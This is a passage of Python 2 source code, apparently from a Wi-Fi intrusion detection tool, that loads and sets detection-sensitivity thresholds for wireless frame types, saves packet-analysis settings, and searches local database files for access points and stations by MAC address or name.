                    if tmpList[0]=="TIMES_BEFORE_UPDATE_AP_DB" and tmpList[1]!="":
                        __builtin__.TIMES_BEFORE_UPDATE_AP_DB=tmpList[1]
                    if tmpList[0]=="TIMES_BEFORE_UPDATE_STN_DB" and tmpList[1]!="":
                        __builtin__.TIMES_BEFORE_UPDATE_STN_DB=tmpList[1]
                    if tmpList[0]=="HIDE_INACTIVE_STN" and tmpList[1]!="":
                        __builtin__.HIDE_INACTIVE_STN=tmpList[1]
                    if tmpList[0]=="THRESHOLD_DATA86" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DATA86=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DATAARP" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DATAARP=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DATA94" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DATA94=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DATA98" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DATA98=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_ASSOC" and tmpList[1]!="":
                        __builtin__.THRESHOLD_ASSOC=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DISASSOC" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DISASSOC=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_REASSOC" and tmpList[1]!="":
                        __builtin__.THRESHOLD_REASSOC=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_AUTH" and tmpList[1]!="":
                        __builtin__.THRESHOLD_AUTH=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DEAUTH" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DEAUTH=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_DEAUTH_AC" and tmpList[1]!="":
                        __builtin__.THRESHOLD_DEAUTH_AC=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_EAPOL_START" and tmpList[1]!="":
                        __builtin__.THRESHOLD_EAPOL_START=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_EAPOL_STD" and tmpList[1]!="":
                        __builtin__.THRESHOLD_EAPOL_STD=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_WPS" and tmpList[1]!="":
                        __builtin__.THRESHOLD_WPS=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD_QOS" and tmpList[1]!="":
                        __builtin__.THRESHOLD_QOS=int(tmpList[1])
                    if tmpList[0]=="THRESHOLD" and tmpList[1]!="":
                        __builtin__.THRESHOLD=int(tmpList[1])
                    if tmpList[0]=="SENSITIVITY_LVL" and tmpList[1]!="":
                        __builtin__.SENSITIVITY_LVL=tmpList[1]
                    
                    __builtin__.SENSITIVITY_LVL4= [__builtin__.THRESHOLD_DATA86,__builtin__.THRESHOLD_DATAARP,__builtin__.THRESHOLD_DATA94,__builtin__.THRESHOLD_DATA98,__builtin__.THRESHOLD_ASSOC,__builtin__.THRESHOLD_DISASSOC,__builtin__.THRESHOLD_REASSOC,__builtin__.THRESHOLD_AUTH,__builtin__.THRESHOLD_DEAUTH,__builtin__.THRESHOLD_DEAUTH_AC,__builtin__.THRESHOLD_EAPOL_STD, __builtin__.THRESHOLD_EAPOL_START,__builtin__.THRESHOLD_WPS,__builtin__.THRESHOLD_QOS,__builtin__.THRESHOLD ]   # CUSTOM
                    if tmpList[0]=="A" and tmpList[1]!="":
                        A=tmpList[1]
                    if tmpList[0]=="DICTIONARY" and tmpList[1]!="":
                        __builtin__.SELECTED_DICT=str(tmpList[1])
    else:
        SaveConfig("")
    if __builtin__.DISABLE_BREAK=="Yes":
        signal.signal(signal.SIGINT,signal.SIG_IGN)

def SetIDS_Sensitivity(CMD):
    tmpSENSITIVE=[]
    if CMD=="":
        printc ("+", fcolor.BBlue + "Intrusion Detection System - Detection Sensitivity","")
        Option1 = tabspacefull + SelBColor + "0" + StdColor + "/" + SelBColor + "D - " + SelColor + "D" + StdColor + "isplay Current Setting\n"
        Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "H - " + SelColor + "H" + StdColor + "ighly Sensitive\n"
        Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "M - " + SelColor + "M" + StdColor + "edium Sensitive\n"
        Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "L - " + SelColor + "L" + StdColor + "ow Sensitive\n\n"
        Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "C - " + SelColor + "C" + StdColor + "ustom Setting (Include Refresh Timeout Rate)\n"
        OptionA=Option1 + Option2 + Option3 + Option4 + Option5
        print OptionA
        print tabspacefull + fcolor.BWhite + "Current Setting : " + fcolor.BRed + str(__builtin__.SENSITIVITY_LVL) + ""
        usr_resp=AskQuestion("Enter your option : ",fcolor.SWhite + "<default = return>","U","RETURN","1")
        if usr_resp=="RETURN":
            return
    else:
        usr_resp=CMD
    ToDisplay=0
    if usr_resp=="1" or usr_resp=="H":
        __builtin__.SENSITIVITY_LVL=1
    if usr_resp=="2" or usr_resp=="M":
        __builtin__.SENSITIVITY_LVL=2
    if usr_resp=="3" or usr_resp=="L":
        __builtin__.SENSITIVITY_LVL=3
    if usr_resp=="4" or usr_resp=="C":
        __builtin__.SENSITIVITY_LVL=4
    if usr_resp=="0" or usr_resp=="D":
        ToDisplay=1
    if str(__builtin__.SENSITIVITY_LVL)=="1":
        tmpSENSITIVE=__builtin__.SENSITIVITY_LVL1
    if str(__builtin__.SENSITIVITY_LVL)=="2":
        tmpSENSITIVE=__builtin__.SENSITIVITY_LVL2
    if str(__builtin__.SENSITIVITY_LVL)=="3":
        tmpSENSITIVE=__builtin__.SENSITIVITY_LVL3
    if str(__builtin__.SENSITIVITY_LVL)=="4":
        tmpSENSITIVE=__builtin__.SENSITIVITY_LVL4
    if ToDisplay==0:
        ToDisplay=1
        if __builtin__.SENSITIVITY_LVL==1 or __builtin__.SENSITIVITY_LVL==2 or __builtin__.SENSITIVITY_LVL==3:
            __builtin__.THRESHOLD_DATA86=int(tmpSENSITIVE[0])
            __builtin__.THRESHOLD_DATAARP=int(tmpSENSITIVE[1])
            __builtin__.THRESHOLD_DATA94=int(tmpSENSITIVE[2])
            __builtin__.THRESHOLD_DATA98=int(tmpSENSITIVE[3])
            __builtin__.THRESHOLD_ASSOC=int(tmpSENSITIVE[4])
            __builtin__.THRESHOLD_DISASSOC=int(tmpSENSITIVE[5])
            __builtin__.THRESHOLD_REASSOC=int(tmpSENSITIVE[6])
            __builtin__.THRESHOLD_AUTH=int(tmpSENSITIVE[7])
            __builtin__.THRESHOLD_DEAUTH=int(tmpSENSITIVE[8])
            __builtin__.THRESHOLD_DEAUTH_AC=int(tmpSENSITIVE[9])
            __builtin__.THRESHOLD_EAPOL_STD=int(tmpSENSITIVE[10])
            __builtin__.THRESHOLD_EAPOL_START=int(tmpSENSITIVE[11])
            __builtin__.THRESHOLD_WPS=int(tmpSENSITIVE[12])
            __builtin__.THRESHOLD_QOS=int(tmpSENSITIVE[13])
            __builtin__.THRESHOLD=int(tmpSENSITIVE[14])
        if __builtin__.SENSITIVITY_LVL==4:
            tmpSENSITIVE[0] =AskQuestion("Threshold for Data86               : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[0])  + " >","N",tmpSENSITIVE[0],"0")
            tmpSENSITIVE[1] =AskQuestion("Threshold for DataARP (ARP)        : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[1])  + " >","N",tmpSENSITIVE[1],"0")
            tmpSENSITIVE[2] =AskQuestion("Threshold for Data94               : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[2])  + " >","N",tmpSENSITIVE[2],"0")
            tmpSENSITIVE[3] =AskQuestion("Threshold for Data98               : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[3])  + " >","N",tmpSENSITIVE[3],"0")
            tmpSENSITIVE[4] =AskQuestion("Threshold for Association          : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[4])  + " >","N",tmpSENSITIVE[4],"0")
            tmpSENSITIVE[5] =AskQuestion("Threshold for Disassociation       : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[5])  + " >","N",tmpSENSITIVE[5],"0")
            tmpSENSITIVE[6] =AskQuestion("Threshold for Reassociation        : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[6])  + " >","N",tmpSENSITIVE[6],"0")
            tmpSENSITIVE[7] =AskQuestion("Threshold for Authentication       : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[7])  + " >","N",tmpSENSITIVE[7],"0")
            tmpSENSITIVE[8] =AskQuestion("Threshold for Deauthentication     : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[8])  + " >","N",tmpSENSITIVE[8],"0")
            tmpSENSITIVE[9] =AskQuestion("Threshold for Deauthentication(AC) : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[9])  + " >","N",tmpSENSITIVE[9],"0")
            tmpSENSITIVE[10]=AskQuestion("Threshold for EAPOL Protocol       : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[10]) + " >","N",tmpSENSITIVE[10],"0")
            tmpSENSITIVE[11]=AskQuestion("Threshold for EAPOL Start          : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[11]) + " >","N",tmpSENSITIVE[11],"0")
            tmpSENSITIVE[12]=AskQuestion("Threshold for EAP Communication    : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[12]) + " >","N",tmpSENSITIVE[12],"0")
            tmpSENSITIVE[13]=AskQuestion("Threshold for Qos Data             : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[13]) + " >","N",tmpSENSITIVE[13],"0")
            tmpSENSITIVE[14]=AskQuestion("Threshold (Only in Analysis)       : ",fcolor.SWhite + "<current =" + str(tmpSENSITIVE[14]) + " >","N",tmpSENSITIVE[14],"0")
            __builtin__.TIMEOUT=AskQuestion("Refresh Timeout Rate               : ",fcolor.SWhite + "<current =" + str(__builtin__.TIMEOUT) + " >","N",__builtin__.TIMEOUT,"0")
            __builtin__.THRESHOLD_DATA86=int(tmpSENSITIVE[0])
            __builtin__.THRESHOLD_DATAARP=int(tmpSENSITIVE[1])
            __builtin__.THRESHOLD_DATA94=int(tmpSENSITIVE[2])
            __builtin__.THRESHOLD_DATA98=int(tmpSENSITIVE[3])
            __builtin__.THRESHOLD_ASSOC=int(tmpSENSITIVE[4])
            __builtin__.THRESHOLD_DISASSOC=int(tmpSENSITIVE[5])
            __builtin__.THRESHOLD_REASSOC=int(tmpSENSITIVE[6])
            __builtin__.THRESHOLD_AUTH=int(tmpSENSITIVE[7])
            __builtin__.THRESHOLD_DEAUTH=int(tmpSENSITIVE[8])
            __builtin__.THRESHOLD_DEAUTH_AC=int(tmpSENSITIVE[9])
            __builtin__.THRESHOLD_EAPOL_STD=int(tmpSENSITIVE[10])
            __builtin__.THRESHOLD_EAPOL_START=int(tmpSENSITIVE[11])
            __builtin__.THRESHOLD_WPS=int(tmpSENSITIVE[12])
            __builtin__.THRESHOLD_QOS=int(tmpSENSITIVE[13])
            __builtin__.THRESHOLD=int(tmpSENSITIVE[14])            
            print ""
    if ToDisplay==1:
        printc ("i",fcolor.BBlue + "Detection Sensitivity Setting","")
        printc (" ",StdColor + "Threshold for Data86               : " + SelColor  + str(tmpSENSITIVE[0]) ,"")
        printc (" ",StdColor + "Threshold for DataARP (ARP)        : " + SelColor  + str(tmpSENSITIVE[1]) ,"")
        printc (" ",StdColor + "Threshold for Data94               : " + SelColor + str(tmpSENSITIVE[2]) ,"")
        printc (" ",StdColor + "Threshold for Data98               : " + SelColor  + str(tmpSENSITIVE[3]) ,"")
        printc (" ",StdColor + "Threshold for Association          : " + SelColor  + str(tmpSENSITIVE[4]) ,"")
        printc (" ",StdColor + "Threshold for Disassociation       : " + SelColor  + str(tmpSENSITIVE[5]) ,"")
        printc (" ",StdColor + "Threshold for Reassociation        : " + SelColor  + str(tmpSENSITIVE[6]) ,"")
        printc (" ",StdColor + "Threshold for Authentication       : " + SelColor  + str(tmpSENSITIVE[7]) ,"")
        printc (" ",StdColor + "Threshold for Deauthentication     : " + SelColor  + str(tmpSENSITIVE[8]) ,"")
        printc (" ",StdColor + "Threshold for Deauthentication(AC) : " + SelColor  + str(tmpSENSITIVE[9]) ,"")
        printc (" ",StdColor + "Threshold for EAPOL Protocol       : " + SelColor  + str(tmpSENSITIVE[10]),"")
        printc (" ",StdColor + "Threshold for EAPOL Start          : " + SelColor  + str(tmpSENSITIVE[11]),"")
        printc (" ",StdColor + "Threshold for EAP Communication    : " + SelColor  + str(tmpSENSITIVE[12]),"")
        printc (" ",StdColor + "Threshold for Qos Data             : " + SelColor  + str(tmpSENSITIVE[13]),"")
        printc (" ",StdColor + "Threshold (Only in Analysis)       : " + SelColor  + str(tmpSENSITIVE[14]),"")
        printc (" ",StdColor + "Refresh Timeout Rate               : " + SelColor  + str(__builtin__.TIMEOUT),"")
  
    SaveConfig("1")
    LineBreak()
    if CMD=="":
        SetIDS_Sensitivity("")
    return

def LoadPktConfig():
    tmpList=[]
    if IsFileDirExist(PktConfig)=="F":
        __builtin__.ANALYSIS_SEARCH=[]
        __builtin__.ANALYSIS_IGNORE=[]
        __builtin__.ANALYSIS_MAC=[]
	with open(PktConfig,"r") as f:
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split("=")
                if len(tmpList)==2:
                    if tmpList[0]=="ANALYSIS_SEARCH" and tmpList[1]!="":
                        __builtin__.ANALYSIS_SEARCH.append (tmpList[1])
                    if tmpList[0]=="ANALYSIS_IGNORE" and tmpList[1]!="":
                        __builtin__.ANALYSIS_IGNORE.append (tmpList[1])
                    if tmpList[0]=="ANALYSIS_MAC" and tmpList[1]!="":
                        __builtin__.ANALYSIS_MAC.append (tmpList[1])
    else:
        SavePktConfig()

def SavePktConfig():
    open(PktConfig,"w").write("Captured Packet Analysis Configuration"+ "\n")
    x=0
    while x<len(__builtin__.ANALYSIS_SEARCH):
        open(PktConfig,"a+b").write("ANALYSIS_SEARCH=" + str(__builtin__.ANALYSIS_SEARCH[x]) + "\n")
        x += 1
    x=0
    while x<len(__builtin__.ANALYSIS_IGNORE):
        open(PktConfig,"a+b").write("ANALYSIS_IGNORE=" + str(__builtin__.ANALYSIS_IGNORE[x]) + "\n")
        x += 1
    x=0
    while x<len(__builtin__.ANALYSIS_MAC):
        open(PktConfig,"a+b").write("ANALYSIS_MAC=" + str(__builtin__.ANALYSIS_MAC[x]) + "\n")
        x += 1

def InsNum(StrVal):
    Rtn="[" + str(StrVal) + "]"
    Rtn=Rtn.ljust(6)
    Rtn=fcolor.SWhite + str(Rtn).replace(str(StrVal),fcolor.BWhite + str(StrVal) + fcolor.SWhite)
    return Rtn;

def SearchDBFiles(cmdType,SearchVal,SearchLen,SearchType,SearchTypelbl):
    DbMatchBSSIDCt=0
    DbMatchStationCt=0
    __builtin__.DbShowBSSIDList = []
    __builtin__.DbShowStationList = []
    tmpList= []
    print ""
    if cmdType=="MAC":
        SELECTTYPE="MAC"
        printc (".",fcolor.BWhite + "Search MAC Criteria (Database) : " + fcolor.BRed + str(SearchVal) + fcolor.SWhite + " (" + str(__builtin__.SearchTypelbl) + ")" ,"")
        if IsFileDirExist(DBFile2)=="F":
	    with open(DBFile2,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=18:
                        ToDisplay = 0
                        if __builtin__.SearchType=="0" and str(tmpList[0])==SearchVal:
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="1" and str(tmpList[0]).find(SearchVal)!=-1:
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="2" and str(tmpList[0])[:SearchLen]==SearchVal:
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="3" and str(tmpList[0])[-SearchLen:]==SearchVal:
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if ToDisplay==1:
                            print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (BSSID)"
        if IsFileDirExist(DBFile3)=="F":
	    with open(DBFile3,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=7:
                        if len(tmpList[1])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[1])==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[1]).find(SearchVal)!=-1:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[1])[:SearchLen]==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[1])[-SearchLen:]==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[1]) + fcolor.SGreen + " (BSSID)"
                        if len(tmpList[0])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[0])==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[0]).find(SearchVal)!=-1:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[0])[:SearchLen]==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[1])[-SearchLen:]==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
        if IsFileDirExist(DBFile4)=="F":
	    with open(DBFile4,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=3:
                        ToDisplay = 0
                        if __builtin__.SearchType=="0" and str(tmpList[0])==SearchVal:
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="1" and str(tmpList[0]).find(SearchVal)!=-1:
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="2" and str(tmpList[0])[:SearchLen]==SearchVal:
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="3" and str(tmpList[0])[-SearchLen:]==SearchVal:
                            if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                __builtin__.DbShowStationList.append (tmpList[0])
                                DbMatchStationCt += 1
                                ToDisplay=1
                        if ToDisplay==1:
                            print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
        if IsFileDirExist(DBFile1)=="F":
	    with open(DBFile1,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=6:
                        if len(tmpList[1])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[1])==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[1]).find(SearchVal)!=-1:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[1])[:SearchLen]==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[1])[-SearchLen:]==SearchVal:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[1]) + fcolor.SGreen + " (BSSID)"
                        if len(tmpList[0])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[0])==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[0]).find(SearchVal)!=-1:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[0])[:SearchLen]==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[1])[-SearchLen:]==SearchVal:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (STATION)"
    if cmdType=="NAME":
        SELECTTYPE="NAME"
        printc (".",fcolor.BWhite + "Search Name Criteria (Database) : " + fcolor.BRed + str(SearchVal) + fcolor.SWhite + " (" + str(__builtin__.SearchTypelbl) + ")" ,"")
        if IsFileDirExist(DBFile2)=="F":
	    with open(DBFile2,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=18:
                        ToDisplay = 0
                        if __builtin__.SearchType=="0" and str(tmpList[18]).upper()==SearchVal.upper():
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="1" and str(tmpList[18]).upper().find(SearchVal.upper())!=-1:
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="2" and str(tmpList[18]).upper()[:SearchLen]==SearchVal.upper():
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if __builtin__.SearchType=="3" and str(tmpList[18]).upper()[-SearchLen:]==SearchVal.upper():
                            if str(__builtin__.ShowBSSIDList2).find(tmpList[0])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[0])==-1:
                                __builtin__.DbShowBSSIDList.append (tmpList[0])
                                DbMatchBSSIDCt += 1
                                ToDisplay=1
                        if ToDisplay==1:
                            print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[0]) + fcolor.SGreen + " (BSSID)"
        if IsFileDirExist(DBFile3)=="F":
	    with open(DBFile3,"r") as f:
                next(f)
    	        for line in f:
                    line=line.replace("\n","")
                    tmpList=str(line).split(";")
                    if len(tmpList)>=7:
                        if len(tmpList[1])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[6]).upper()==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[6]).upper().find(SearchVal.upper())!=-1:
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[6]).upper()[:SearchLen]==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="3" and str(tmpList[6]).upper()[-SearchLen:]==SearchVal.upper():
                                if str(__builtin__.ShowBSSIDList2).find(tmpList[1])==-1  and str(__builtin__.DbShowBSSIDList).find(tmpList[1])==-1:
                                    __builtin__.DbShowBSSIDList.append (tmpList[1])
                                    DbMatchBSSIDCt += 1
                                    ToDisplay=1
                            if ToDisplay==1:
                                print tabspacefull + fcolor.SGreen + "Found Match in DB : " + fcolor.SWhite + str(tmpList[1]) + fcolor.SGreen + " (BSSID)"
                        if len(tmpList[0])==17:
                            ToDisplay = 0
                            if __builtin__.SearchType=="0" and str(tmpList[6]).upper()==SearchVal.upper():
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1  and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="1" and str(tmpList[6]).upper().find(SearchVal.upper())!=-1:
                                if str(__builtin__.ShowStationList2).find(tmpList[0])==-1 and str(__builtin__.DbShowStationList).find(tmpList[0])==-1:
                                    __builtin__.DbShowStationList.append (tmpList[0])
                                    DbMatchStationCt += 1
                                    ToDisplay=1
                            if __builtin__.SearchType=="2" and str(tmpList[6]).upper()[:SearchLen]==SearchVal.upper():
